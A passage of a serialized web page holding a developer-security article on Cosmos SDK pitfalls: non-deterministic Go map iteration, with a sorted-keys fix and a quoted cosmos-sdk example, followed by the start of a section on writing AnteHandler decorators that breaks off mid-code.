sdk",{"type":25,"tag":201,"props":78564,"children":78565},{"style":220},[78566],{"type":31,"value":80},{"type":25,"tag":201,"props":78568,"children":78569},{"style":214},[78570],{"type":31,"value":78571},"NewAttribute",{"type":25,"tag":201,"props":78573,"children":78574},{"style":220},[78575],{"type":31,"value":298},{"type":25,"tag":201,"props":78577,"children":78578},{"style":246},[78579],{"type":31,"value":73238},{"type":25,"tag":201,"props":78581,"children":78582},{"style":220},[78583],{"type":31,"value":919},{"type":25,"tag":201,"props":78585,"children":78586},{"style":246},[78587],{"type":31,"value":40222},{"type":25,"tag":201,"props":78589,"children":78590},{"style":220},[78591],{"type":31,"value":8245},{"type":25,"tag":201,"props":78593,"children":78594},{"class":203,"line":490},[78595],{"type":25,"tag":201,"props":78596,"children":78597},{"style":220},[78598],{"type":31,"value":78599},"            )\n",{"type":25,"tag":201,"props":78601,"children":78602},{"class":203,"line":499},[78603],{"type":25,"tag":201,"props":78604,"children":78605},{"style":220},[78606],{"type":31,"value":69402},{"type":25,"tag":201,"props":78608,"children":78609},{"class":203,"line":522},[78610],{"type":25,"tag":201,"props":78611,"children":78612},{"style":220},[78613],{"type":31,"value":4861},{"type":25,"tag":201,"props":78615,"children":78616},{"class":203,"line":531},[78617],{"type":25,"tag":201,"props":78618,"children":78619},{"style":220},[78620],{"type":31,"value":1187},{"type":25,"tag":34,"props":78622,"children":78623},{},[78624],{"type":31,"value":78625},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":25,"tag":4439,"props":78627,"children":78628},{},[78629],{"type":25,"tag":34,"props":78630,"children":78631},{},[78632],{"type":31,"value":78633},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":25,"tag":34,"props":78635,"children":78636},{},[78637,78639,78644],{"type":31,"value":78638},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":25,"tag":115,"props":78640,"children":78642},{"className":78641},[],[78643],{"type":31,"value":68183},{"type":31,"value":78645}," and then fetch the values using the sorted key array before emitting them.",{"type":25,"tag":191,"props":78647,"children":78649},{"code":78648,"language":77248,"meta":7,"className":77249,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    var keys []string\n    for key := range objectMap {\n        keys = append(keys, key)\n    }\n    sort.Strings(keys)\n\n    for _, key := range keys {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, objectMap[key]),\n            )\n        )\n    }\n}\n",[78650],{"type":25,"tag":115,"props":78651,"children":78652},{"__ignoreMap":7},[78653,78684,78691,78718,78738,78765,78801,78808,78837,78844,78879,78906,78925,78936,78980,78987,78994,79001],{"type":25,"tag":201,"props":78654,"children":78655},{"class":203,"line":204},[78656,78660,78664,78668,78672,78676,78680],{"type":25,"tag":201,"props":78657,"children":78658},{"style":208},[78659],{"type":31,"value":1684},{"type":25,"tag":201,"props":78661,"children":78662},{"style":4925},[78663],{"type":31,"value":78398},{"type":25,"tag":201,"props":78665,"children":78666},{"style":208},[78667],{"type":31,"value":50746},{"type":25,"tag":201,"props":78669,"children":78670},{"style":220},[78671],{"type":31,"value":423},{"type":25,"tag":201,"props":78673,"children":78674},{"style":4925},[78675],{"type":31,"value":31150},{"type":25,"tag":201,"props":78677,"children":78678},{"style":220},[78679],{"type":31,"value":16907},{"type":25,"tag":201,"props":78681,"children":78682},{"style":4925},[78683],{"type":31,"value":78419},{"type":25,"tag":201,"props":78685,"children":78686},{"class":203,"line":226},[78687],{"type":25,"tag":201,"props":78688,"children":78689},{"emptyLinePlaceholder":17},[78690],{"type":31,"value":496},{"type":25,"tag":201,"props":78692,"children":78693},{"class":203,"line":278},[78694,78698,78702,78706,78710,78714],{"type":25,"tag":201,"props":78695,"children":78696},{"style":208},[78697],{"type":31,"value":77384},{"type":25,"tag":201,"props":78699,"children":78700},{"style":214},[78701],{"type":31,"value":78438},{"type":25,"tag":201,"props":78703,"children":78704},{"style":220},[78705],{"type":31,"value":298},{"type":25,"tag":201,"props":78707,"children":78708},{"style":246},[78709],{"type":31,"value":78447},{"type":25,"tag":201,"props":78711,"children":78712},{"style":4925},[78713],{"type":31,"value":78398},{"type":25,"tag":201,"props":78715,"children":78716},{"style":220},[78717],{"type":31,"value":275},{"type":25,"tag":201,"props":78719,"children":78720},{"class":203,"line":311},[78721,78726,78730,78734],{"type":25,"tag":201,"props":78722,"children":78723},{"style":208},[78724],{"type":31,"value":78725},"    var",{"type":25,"tag":201,"props":78727,"children":78728},{"style":246},[78729],{"type":31,"value":22875},{"type":25,"tag":201,"props":78731,"children":78732},{"style":220},[78733],{"type":31,"value":77311},{"type":25,"tag":201,"props":78735,"children":78736},{"style":4925},[78737],{"type":31,"value":78419},{"type":25,"tag":201,"props":78739,"children":78740},{"class":203,"line":330},[78741,78745,78749,78753,78757,78761],{"type":25,"tag":201,"props":78742,"children":78743},{"style":230},[78744],{"type":31,"value":4539},{"type":25,"tag":201,"props":78746,"children":78747},{"style":246},[78748],{"type":31,"value":7440},{"type":25,"tag":201,"props":78750,"children":78751},{"style":261},[78752],{"type":31,"value":77500},{"type":25,"tag":201,"props":78754,"children":78755},{"style":230},[78756],{"type":31,"value":78483},{"type":25,"tag":201,"props":78758,"children":78759},{"style":246},[78760],{"type":31,"value":78488},{"type":25,"tag":201,"props":78762,"children":78763},{"style":220},[78764],{"type":31,"value":327},{"type":25,"tag":201,"props":78766,"children":78767},{"class":203,"line":397},[78768,78772,78776,78781,78785,78789,78793,78797],{"type":25,"tag":201,"props":78769,"children":78770},{"style":246},[78771],{"type":31,"value":26817},{"type":25,"tag":201,"props":78773,"children":78774},{"style":261},[78775],{"type":31,"value":413},{"type":25,"tag":201,"props":78777,"children":78778},{"style":214},[78779],{"type":31,"value":78780}," append",{"type":25,"tag":201,"props":78782,"children":78783},{"style":220},[78784],{"type":31,"value":298},{"type":25,"tag":201,"props":78786,"children":78787},{"style":246},[78788],{"type":31,"value":22478},{"type":25,"tag":201,"props":78790,"children":78791},{"style":220},[78792],{"type":31,"value":919},{"type":25,"tag":201,"props":78794,"children":78795},{"style":246},[78796],{"type":31,"value":73238},{"type":25,"tag":201,"props":78798,"children":78799},{"style":220},[78800],{"type":31,"value":4666},{"type":25,"tag":201,"props":78802,"children":78803},{"class":203,"line":437},[78804],{"type":25,"tag":201,"props":78805,"children":78806},{"style":220},[78807],{"type":31,"value":4861},{"type":25,"tag":201,"props":78809,"children":78810},{"class":203,"line":464},[78811,78816,78820,78825,78829,78833],{"type":25,"tag":201,"props":78812,"children":78813},{"style":246},[78814],{"type":31,"value":78815},"    sort",{"type":25,"tag":201,"props":78817,"children":78818},{"style":220},[78819],{"type":31,"value":80},{"type":25,"tag":201,"props":78821,"children":78822},{"style":214},[78823],{"type":31,"value":78824},"Strings",{"type":25,"tag":201,"props":78826,"children":78827},{"style":220},[78828],{"type":31,"value":298},{"type":25,"tag":201,"props":78830,"children":78831},{"style":246},[78832],{"type":31,"value":22478},{"type":25,"tag":201,"props":78834,"children":78835},{"style":220},[78836],{"type":31,"value":4666},{"type":25,"tag":201,"props":78838,"children":78839},{"class":203,"line":490},[78840],{"type":25,"tag":201,"props":78841,"children":78842},{"emptyLinePlaceholder":17},[78843],{"type":31,"value":496},{"type":25,"tag":201,"props":78845,"children":78846},{"class":203,"line":499},[78847,78851,78855,78859,78863,78867,78871,78875],{"type":25,"tag":201,"props":78848,"children":78849},{"style":230},[78850],{"type":31,"value":4539},{"type":25,"tag":201,"props":78852,"children":78853},{"style":246},[78854],{"type":31,"value":4544},{"type":25,"tag":201,"props":78856,"children":78857},{"style":220},[78858],{"type":31,"value":919},{"type":25,"tag":201,"props":78860,"children":78861},{"style":246},[78862],{"type":31,"value":73238},{"type":25,"tag":201,"props":78864,"children":78865},{"style":261},[78866],{"type":31,"value":77500},{"type":25,"tag":201,"props":78868,"children":78869},{"style":230},[78870],{"type":31,"value":78483},{"type":25,"tag":201,"props":78872,"children":78873},{"style":246},[78874],{"type":31,"value":22875},{"type":25,"tag":201,"props":78876,"children":78877},{"style":220},[78878],{"type":31,"value":327},{"type":25,"tag":201,"props":78880,"children":78881},{"class":203,"line":522},[78882,78886,78890,78894,78898,78902],{"type":25,"tag":201,"props":78883,"children":78884},{"style":246},[78885],{"type":31,"value":27670},{"type":25,"tag":201,"props":78887,"children":78888},{"style":220},[78889],{"type":31,"value":80},{"type":25,"tag":201,"props":78891,"children":78892},{"style":246},[78893],{"type":31,"value":78508},{"type":25,"tag":201,"props":78895,"children":78896},{"style":220},[78897],{"type":31,"value":80},{"type":25,"tag":201,"props":78899,"children":78900},{"style":214},[78901],{"type":31,"value":78517},{"type":25,"tag":201,"props":78903,"children":78904},{"style":220},[78905],{"type":31,"value":4970},{"type":25,"tag":201,"props":78907,"children":78908},{"class":203,"line":531},[78909,78913,78917,78921],{"type":25,"tag":201,"props":78910,"children":78911},{"style":246},[78912],{"type":31,"value":78529},{"type":25,"tag":201,"props":78914,"children":78915},{"style":220},[78916],{"type":31,"value":80},{"type":25,"tag":201,"props":78918,"children":78919},{"style":214},[78920],{"type":31,"value":78538},{"type":25,"tag":201,"props":78922,"children":78923},{"style":220},[78924],{"type":31,"value":4970},{"type":25,"tag":201,"props":78926,"children":78927},{"class":203,"line":550},[78928,78932],{"type":25,"tag":201,"props":78929,"children":78930},{"style":267},[78931],{"type":31,"value":78550},{"type":25,"tag":201,"props":78933,"children":78934},{"style":220},[78935],{"type":31,"value":547},{"type":25,"tag":201,"props":78937,"children":78938},{"class":203,"line":563},[78939,78943,78947,78951,78955,78959,78963,78967,78971,78975],{"type":25,"tag":201,"props":78940,"children":78941},{"style":246},[78942],{"type":31,"value":78562},{"type":25,"tag":201,"props":78944,"children":78945},{"style":220},[78946],{"type":31,"value":80},{"type":25,"tag":201,"props":78948,"children":78949},{"style":214},[78950],{"type":31,"value":78571},{"type":25,"tag":201,"props":78952,"children":78953},{"style":220},[78954],{"type":31,"value":298},{"type":25,"tag":201,"props":78956,"children":78957},{"style":246},[78958],{"type":31,"value":73238},{"type":25,"tag":201,"props":78960,"children":78961},{"style":220},[78962],{"type":31,"value":919},{"type":25,"tag":201,"props":78964,"children":78965},{"style":246},[78966],{"type":31,"value":78447},{"type":25,"tag":201,"props":78968,"children":78969},{"style":220},[78970],{"type":31,"value":423},{"type":25,"tag":201,"props":78972,"children":78973},{"style":246},[78974],{"type":31,"value":73238},{"type":25,"tag":201,"props":78976,"children":78977},{"style":220},[78978],{"type":31,"value":78979},"]),\n",{"type":25,"tag":201,"props":78981,"children":78982},{"class":203,"line":572},[78983],{"type":25,"tag":201,"props":78984,"children":78985},{"style":220},[78986],{"type":31,"value":78599},{"type":25,"tag":201,"props":78988,"children":78989},{"class":203,"line":590},[78990],{"type":25,"tag":201,"props":78991,"children":78992},{"style":220},[78993],{"type":31,"value":69402},{"type":25,"tag":201,"props":78995,"children":78996},{"class":203,"line":608},[78997],{"type":25,"tag":201,"props":78998,"children":78999},{"style":220},[79000],{"type":31,"value":4861},{"type":25,"tag":201,"props":79002,"children":79003},{"class":203,"line":617},[79004],{"type":25,"tag":201,"props":79005,"children":79006},{"style":220},[79007],{"type":31,"value":1187},{"type":25,"tag":34,"props":79009,"children":79010},{},[79011],{"type":31,"value":79012},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":25,"tag":40,"props":79014,"children":79016},{"id":79015},"real-world-examples-1",[79017],{"type":31,"value":77773},{"type":25,"tag":34,"props":79019,"children":79020},{},[79021,79023,79028,79030,79036,79038,79044,79046,79052],{"type":31,"value":79022},"Real-world examples of ",{"type":25,"tag":115,"props":79024,"children":79026},{"className":79025},[],[79027],{"type":31,"value":68183},{"type":31,"value":79029}," causing determinism problems can be found ",{"type":25,"tag":71,"props":79031,"children":79034},{"href":79032,"rel":79033},"https://github.com/cosmos/cosmos-sdk/pull/12487",[75],[79035],{"type":31,"value":48661},{"type":31,"value":79037},", specifically, where the result of ",{"type":25,"tag":115,"props":79039,"children":79041},{"className":79040},[],[79042],{"type":31,"value":79043},"buildCommitInfo",{"type":31,"value":79045}," is inconsistent due to iteration over the ",{"type":25,"tag":115,"props":79047,"children":79049},{"className":79048},[],[79050],{"type":31,"value":79051},"rs.stores",{"type":31,"value":79053}," map.",{"type":25,"tag":34,"props":79055,"children":79056},{},[79057],{"type":25,"tag":71,"props":79058,"children":79061},{"href":79059,"rel":79060},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[75],[79062],{"type":31,"value":77823},{"type":25,"tag":191,"props":79064,"children":79066},{"code":79065,"language":77248,"meta":7,"className":77249,"style":7},"func (rs *Store) buildCommitInfo(\n    version int64\n) *types.CommitInfo {\n    storeInfos := []types.StoreInfo{}\n    for key, store := range rs.stores {\n        if store.GetStoreType() == types.StoreTypeTransient {\n            continue\n        }\n        storeInfos = append(storeInfos, types.StoreInfo{\n            Name:     key.Name(),\n            CommitId: store.LastCommitID(),\n        })\n    }\n    return &types.CommitInfo{\n        Version:    version,\n        StoreInfos: storeInfos,\n    }\n}\n",[79067],{"type":25,"tag":115,"props":79068,"children":79069},{"__ignoreMap":7},[79070,79107,79120,79148,79182,79227,79273,79281,79288,79333,79363,79392,79399,79406,79433,79455,79475,79482],{"type":25,"tag":201,"props":79071,"children":79072},{"class":203,"line":204},[79073,79077,79081,79086,79090,79095,79099,79103],{"type":25,"tag":201,"props":79074,"children":79075},{"style":208},[79076],{"type":31,"value":77384},{"type":25,"tag":201,"props":79078,"children":79079},{"style":220},[79080],{"type":31,"value":238},{"type":25,"tag":201,"props":79082,"children":79083},{"style":246},[79084],{"type":31,"value":79085},"rs ",{"type":25,"tag":201,"props":79087,"children":79088},{"style":261},[79089],{"type":31,"value":6077},{"type":25,"tag":201,"props":79091,"children":79092},{"style":4925},[79093],{"type":31,"value":79094},"Store",{"type":25,"tag":201,"props":79096,"children":79097},{"style":220},[79098],{"type":31,"value":385},{"type":25,"tag":201,"props":79100,"children":79101},{"style":214},[79102],{"type":31,"value":79043},{"type":25,"tag":201,"props":79104,"children":79105},{"style":220},[79106],{"type":31,"value":4970},{"type":25,"tag":201,"props":79108,"children":79109},{"class":203,"line":226},[79110,79115],{"type":25,"tag":201,"props":79111,"children":79112},{"style":246},[79113],{"type":31,"value":79114},"    version",{"type":25,"tag":201,"props":79116,"children":79117},{"style":4925},[79118],{"type":31,"value":79119}," int64\n",{"type":25,"tag":201,"props":79121,"children":79122},{"class":203,"line":278},[79123,79127,79131,79135,79139,79144],{"type":25,"tag":201,"props":79124,"children":79125},{"style":220},[79126],{"type":31,"value":385},{"type":25,"tag":201,"props":79128,"children":79129},{"style":261},[79130],{"type":31,"value":6077},{"type":25,"tag":201,"props":79132,"children":79133},{"style":4925},[79134],{"type":31,"value":7268},{"type":25,"tag":201,"props":79136,"children":79137},{"style":220},[79138],{"type":31,"value":80},{"type":25,"tag":201,"props":79140,"children":79141},{"style":4925},[79142],{"type":31,"value":79143},"CommitInfo",{"type":25,"tag":201,"props":79145,"children":79146},{"style":220},[79147],{"type":31,"value":327},{"type":25,"tag":201,"props":79149,"children":79150},{"class":203,"line":311},[79151,79156,79160,79164,79168,79172,79177],{"type":25,"tag":201,"props":79152,"children":79153},{"style":246},[79154],{"type":31,"value":79155},"    storeInfos",{"type":25,"tag":201,"props":79157,"children":79158},{"style":261},[79159],{"type":31,"value":77500},{"type":25,"tag":201,"props":79161,"children":79162},{"style":220},[79163],{"type":31,"value":77311},{"type":25,"tag":201,"props":79165,"children":79166},{"style":4925},[79167],{"type":31,"value":7268},{"type":25,"tag":201,"props":79169,"children":79170},{"style":220},[79171],{"type":31,"value":80},{"type":25,"tag":201,"props":79173,"children":79174},{"style":4925},[79175],{"type":31,"value":79176},"StoreInfo",{"type":25,"tag":201,"props":79178,"children":79179},{"style":220},[79180],{"type":31,"value":79181},"{}\n",{"type":25,"tag":201,"props":79183,"children":79184},{"class":203,"line":330},[79185,79189,79193,79197,79201,79205,79209,79214,79218,79223],{"type":25,"tag":201,"props":79186,"children":79187},{"style":230},[79188],{"type":31,"value":4539},{"type":25,"tag":201,"props":79190,"children":79191},{"style":246},[79192],{"type":31,"value":7440},{"type":25,"tag":201,"props":79194,"children":79195},{"style":220},[79196],{"type":31,"value":919},{"type":25,"tag":201,"props":79198,"children":79199},{"style":246},[79200],{"type":31,"value":7449},{"type":25,"tag":201,"props":79202,"children":79203},{"style":261},[79204],{"type":31,"value":77500},{"type":25,"tag":201,"props":79206,"children":79207},{"style":230},[79208],{"type":31,"value":78483},{"type":25,"tag":201,"props":79210,"children":79211},{"style":246},[79212],{"type":31,"value":79213}," rs",{"type":25,"tag":201,"props":79215,"children":79216},{"style":220},[79217],{"type":31,"value":80},{"type":25,"tag":201,"props":79219,"children":79220},{"style":246},[79221],{"type":31,"value":79222},"stores",{"type":25,"tag":201,"props":79224,"children":79225},{"style":220},[79226],{"type":31,"value":327},{"type":25,"tag":201,"props":79228,"children":79229},{"class":203,"line":397},[79230,79234,79238,79242,79247,79251,79255,79260,79264,79269],{"type":25,"tag":201,"props":79231,"children":79232},{"style":230},[79233],{"type":31,"value":4779},{"type":25,"tag":201,"props":79235,"children":79236},{"style":246},[79237],{"type":31,"value":7340},{"type":25,"tag":201,"props":79239,"children":79240},{"style":220},[79241],{"type":31,"value":80},{"type":25,"tag":201,"props":79243,"children":79244},{"style":214},[79245],{"type":31,"value":79246},"GetStoreType",{"type":25,"tag":201,"props":79248,"children":79249},{"style":220},[79250],{"type":31,"value":15545},{"type":25,"tag":201,"props":79252,"children":79253},{"style":261},[79254],{"type":31,"value":10083},{"type":25,"tag":201,"props":79256,"children":79257},{"style":246},[79258],{"type":31,"value":79259}," types",{"type":25,"tag":201,"props":79261,"children":79262},{"style":220},[79263],{"type":31,"value":80},{"type":25,"tag":201,"props":79265,"children":79266},{"style":246},[79267],{"type":31,"value":79268},"StoreTypeTransient",{"type":25,"tag":201,"props":79270,"children":79271},{"style":220},[79272],{"type":31,"value":327},{"type":25,"tag":201,"props":79274,"children":79275},{"class":203,"line":437},[79276],{"type":25,"tag":201,"props":79277,"children":79278},{"style":230},[79279],{"type":31,"value":79280},"            continue\n",{"type":25,"tag":201,"props":79282,"children":79283},{"class":203,"line":464},[79284],{"type":25,"tag":201,"props":79285,"children":79286},{"style":220},[79287],{"type":31,"value":4853},{"type":25,"tag":201,"props":79289,"children":79290},{"class":203,"line":490},[79291,79296,79300,79304,79308,79313,79317,79321,79325,79329],{"type":25,"tag":201,"props":79292,"children":79293},{"style":246},[79294],{"type":31,"value":79295},"        storeInfos",{"type":25,"tag":201,"props":79297,"children":79298},{"style":261},[79299],{"type":31,"value":413},{"type":25,"tag":201,"props":79301,"children":79302},{"style":214},[79303],{"type":31,"value":78780},{"type":25,"tag":201,"props":79305,"children":79306},{"style":220},[79307],{"type":31,"value":298},{"type":25,"tag":201,"props":79309,"children":79310},{"style":246},[79311],{"type":31,"value":79312},"storeInfos",{"type":25,"tag":201,"props":79314,"children":79315},{"style":220},[79316],{"type":31,"value":919},{"type":25,"tag":201,"props":79318,"children":79319},{"style":4925},[79320],{"type":31,"value":7268},{"type":25,"tag":201,"props":79322,"children":79323},{"style":220},[79324],{"type":31,"value":80},{"type":25,"tag":201,"props":79326,"children":79327},{"style":4925},[79328],{"type":31,"value":79176},{"type":25,"tag":201,"props":79330,"children":79331},{"style":220},[79332],{"type":31,"value":1822},{"type":25,"tag":201,"props":79334,"children":79335},{"class":203,"line":499},[79336,79341,79346,79350,79354,79359],{"type":25,"tag":201,"props":79337,"children":79338},{"style":246},[79339],{"type":31,"value":79340},"            Name",{"type":25,"tag":201,"props":79342,"children":79343},{"style":220},[79344],{"type":31,"value":79345},":     ",{"type":25,"tag":201,"props":79347,"children":79348},{"style":246},[79349],{"type":31,"value":73238},{"type":25,"tag":201,"props":79351,"children":79352},{"style":220},[79353],{"type":31,"value":80},{"type":25,"tag":201,"props":79355,"children":79356},{"style":214},[79357],{"type":31,"value":79358},"Name",{"type":25,"tag":201,"props":79360,"children":79361},{"style":220},[79362],{"type":31,"value":1104},{"type":25,"tag":201,"props":79364,"children":79365},{"class":203,"line":522},[79366,79371,79375,79379,79383,79388],{"type":25,"tag":201,"props":79367,"children":79368},{"style":246},[79369],{"type":31,"value":79370},"            CommitId",{"type":25,"tag":201,"props":79372,"children":79373},{"style":220},[79374],{"type":31,"value":2957},{"type":25,"tag":201,"props":79376,"children":79377},{"style":246},[79378],{"type":31,"value":7449},{"type":25,"tag":201,"props":79380,"children":79381},{"style":220},[79382],{"type":31,"value":80},{"type":25,"tag":201,"props":79384,"children":79385},{"style":214},[79386],{"type":31,"value":79387},"LastCommitID",{"type":25,"tag":201,"props":79389,"children":79390},{"style":220},[79391],{"type":31,"value":1104},{"type":25,"tag":201,"props":79393,"children":79394},{"class":203,"line":531},[79395],{"type":25,"tag":201,"props":79396,"children":79397},{"style":220},[79398],{"type":31,"value":69279},{"type":25,"tag":201,"props":79400,"children":79401},{"class":203,"line":550},[79402],{"type":25,"tag":201,"props":79403,"children":79404},{"style":220},[79405],{"type":31,"value":4861},{"type":25,"tag":201,"props":79407,"children":79408},{"class":203,"line":563},[79409,79413,79417,79421,79425,79429],{"type":25,"tag":201,"props":79410,"children":79411},{"style":230},[79412],{"type":31,"value":18486},{"type":25,"tag":201,"props":79414,"children":79415},{"style":261},[79416],{"type":31,"value":8650},{"type":25,"tag":201,"props":79418,"children":79419},{"style":4925},[79420],{"type":31,"value":7268},{"type":25,"tag":201,"props":79422,"children":79423},{"style":220},[79424],{"type":31,"value":80},{"type":25,"tag":201,"props":79426,"children":79427},{"style":4925},[79428],{"type":31,"value":79143},{"type":25,"tag":201,"props":79430,"children":79431},{"style":220},[79432],{"type":31,"value":1822},{"type":25,"tag":201,"props":79434,"children":79435},{"class":203,"line":572},[79436,79441,79446,79451],{"type":25,"tag":201,"props":79437,"children":79438},{"style":246},[79439],{"type":31,"value":79440},"        Version",{"type":25,"tag":201,"props":79442,"children":79443},{"style":220},[79444],{"type":31,"value":79445},":    ",{"type":25,"tag":201,"props":79447,"children":79448},{"style":246},[79449],{"type":31,"value":79450},"version",{"type":25,"tag":201,"props":79452,"children":79453},{"style":220},[79454],{"type":31,"value":547},{"type":25,"tag":201,"props":79456,"children":79457},{"class":203,"line":590},[79458,79463,79467,79471],{"type":25,"tag":201,"props":79459,"children":79460},{"style":246},[79461],{"type":31,"value":79462},"        StoreInfos",{"type":25,"tag":201,"props":79464,"children":79465},{"style":220},[79466],{"type":31,"value":2957},{"type":25,"tag":201,"props":79468,"children":79469},{"style":246},[79470],{"type":31,"value":79312},{"type":25,"tag":201,"props":79472,"children":79473},{"style":220},[79474],{"type":31,"value":547},{"type":25,"tag":201,"props":79476,"children":79477},{"class":203,"line":608},[79478],{"type":25,"tag":201,"props":79479,"children":79480},{"style":220},[79481],{"type":31,"value":4861},{"type":25,"tag":201,"props":79483,"children":79484},{"class":203,"line":617},[79485],{"type":25,"tag":201,"props":79486,"children":79487},{"style":220},[79488],{"type":31,"value":1187},{"type":25,"tag":34,"props":79490,"children":79491},{},[79492,79494,79501,79502,79509],{"type":31,"value":79493},"Other factors contributing to determinism issues are the usage of ",{"type":25,"tag":71,"props":79495,"children":79498},{"href":79496,"rel":79497},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[75],[79499],{"type":31,"value":79500},"time-sensitive functions",{"type":31,"value":12493},{"type":25,"tag":71,"props":79503,"children":79506},{"href":79504,"rel":79505},"https://github.com/cosmos/cosmos-sdk/issues/16638",[75],[79507],{"type":31,"value":79508},"race conditions",{"type":31,"value":80},{"type":25,"tag":26,"props":79511,"children":79513},{"id":79512},"thou-shalt-not-passor-should-you",[79514],{"type":31,"value":79515},"Thou Shalt Not Pass...Or Should You?",{"type":25,"tag":34,"props":79517,"children":79518},{},[79519,79521,79527,79528,79534],{"type":31,"value":79520},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":25,"tag":115,"props":79522,"children":79524},{"className":79523},[],[79525],{"type":31,"value":79526},"msg.value",{"type":31,"value":919},{"type":25,"tag":115,"props":79529,"children":79531},{"className":79530},[],[79532],{"type":31,"value":79533},"msg.sender",{"type":31,"value":79535},", and collecting transaction fees) to the underlying blockchain.",{"type":25,"tag":34,"props":79537,"children":79538},{},[79539,79541,79547,79549,79555],{"type":31,"value":79540},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":25,"tag":115,"props":79542,"children":79544},{"className":79543},[],[79545],{"type":31,"value":79546},"Cosmos-SDK",{"type":31,"value":79548}," introduces ",{"type":25,"tag":115,"props":79550,"children":79552},{"className":79551},[],[79553],{"type":31,"value":79554},"AnteHandler",{"type":31,"value":79556}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":25,"tag":34,"props":79558,"children":79559},{},[79560,79562,79567,79569,79574],{"type":31,"value":79561},"To provide context, let's first understand how an ",{"type":25,"tag":115,"props":79563,"children":79565},{"className":79564},[],[79566],{"type":31,"value":79554},{"type":31,"value":79568}," is processed. Each ",{"type":25,"tag":115,"props":79570,"children":79572},{"className":79571},[],[79573],{"type":31,"value":79554},{"type":31,"value":79575}," is a state transition function that can:",{"type":25,"tag":6944,"props":79577,"children":79578},{},[79579,79584],{"type":25,"tag":6948,"props":79580,"children":79581},{},[79582],{"type":31,"value":79583},"Transform the block state in relation to transaction and execution context.",{"type":25,"tag":6948,"props":79585,"children":79586},{},[79587,79589],{"type":31,"value":79588},"Determine the course of action for the transaction.\n",{"type":25,"tag":6944,"props":79590,"children":79591},{},[79592,79603],{"type":25,"tag":6948,"props":79593,"children":79594},{},[79595,79597,79602],{"type":31,"value":79596},"Pass the transaction to the next ",{"type":25,"tag":115,"props":79598,"children":79600},{"className":79599},[],[79601],{"type":31,"value":79554},{"type":31,"value":80},{"type":25,"tag":6948,"props":79604,"children":79605},{},[79606],{"type":31,"value":79607},"Return error for transaction.",{"type":25,"tag":34,"props":79609,"children":79610},{},[79611,79613,79618],{"type":31,"value":79612},"The bad news is that developing an ",{"type":25,"tag":115,"props":79614,"children":79616},{"className":79615},[],[79617],{"type":31,"value":79554},{"type":31,"value":79619}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":25,"tag":34,"props":79621,"children":79622},{},[79623,79624,79630],{"type":31,"value":18109},{"type":25,"tag":115,"props":79625,"children":79627},{"className":79626},[],[79628],{"type":31,"value":79629},"AnteHandle",{"type":31,"value":79631}," implementation may look something like this:",{"type":25,"tag":191,"props":79633,"children":79635},{"code":79634,"language":77248,"meta":7,"className":77249,"style":7},"const (\n    MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n    ctx sdk.Context,\n    tx sdk.Tx,\n    simulate bool,\n    next sdk.AnteHandler,\n) (sdk.Context, error) {\n    sigTx, ok := tx.(authsigning.SigVerifiableTx)\n    if !ok {\n        return ctx, errorsmod.Wrap(\n            sdkerrors.ErrTxDecode,\n            \"invalid tx type\",\n        )\n    }\n\n    signers := sigTx.GetSigners()\n    for i, signer := range signers {\n        balance := abd.bk.getBalance(ctx, signer, ATOM)\n        if balance.Amount \u003C MIN_BALANCE {\n            return ctx, errorsmod.Wrap(\n                ErrInsufficientBalance,\n                \"Insufficient Balance\",\n            )\n        }\n    }\n\n    return next(ctx, tx, simulate)\n}\n",[79636],{"type":25,"tag":115,"props":79637,"children":79638},{"__ignoreMap":7},[79639,79651,79667,79674,79681,79714,79738,79763,79779,79803,79835,79883,79902,79935,79956,79968,79975,79982,79989,80019,80055,80119,80153,80185,80197,80209,80216,80223,80230,80237,80279],{"type":25,"tag":201,"props":79640,"children":79641},{"class":203,"line":204},[79642,79646],{"type":25,"tag":201,"props":79643,"children":79644},{"style":208},[79645],{"type":31,"value":4074},{"type":25,"tag":201,"props":79647,"children":79648},{"style":220},[79649],{"type":31,"value":79650}," (\n",{"type":25,"tag":201,"props":79652,"children":79653},{"class":203,"line":226},[79654,79659,79663],{"type":25,"tag":201,"props":79655,"children":79656},{"style":246},[79657],{"type":31,"value":79658},"    MIN_BALANCE",{"type":25,"tag":201,"props":79660,"children":79661},{"style":261},[79662],{"type":31,"value":413},{"type":25,"tag":201,"props":79664,"children":79665},{"style":426},[79666],{"type":31,"value":20841},{"type":25,"tag":201,"props":79668,"children":79669},{"class":203,"line":278},[79670],{"type":25,"tag":201,"props":79671,"children":79672},{"style":220},[79673],{"type":31,"value":4666},{"type":25,"tag":201,"props":79675,"children":79676},{"class":203,"line":311},[79677],{"type":25,"tag":201,"props":79678,"children":79679},{"emptyLinePlaceholder":17},[79680],{"type":31,"value":496},{"type":25,"tag":201,"props":79682,"children":79683},{"class":203,"line":330},[79684,79688,79692,79697,79702,79706,79710],{"type":25,"tag":201,"props":79685,"children":79686},{"style":208},[79687],{"type":31,"value":77384},{"type":25,"tag":201,"props":79689,"children":79690},{"style":220},[79691],{"type":31,"value":238},{"type":25,"tag":201,"props":79693,"children":79694},{"style":246},[79695],{"type":31,"value":79696},"abd 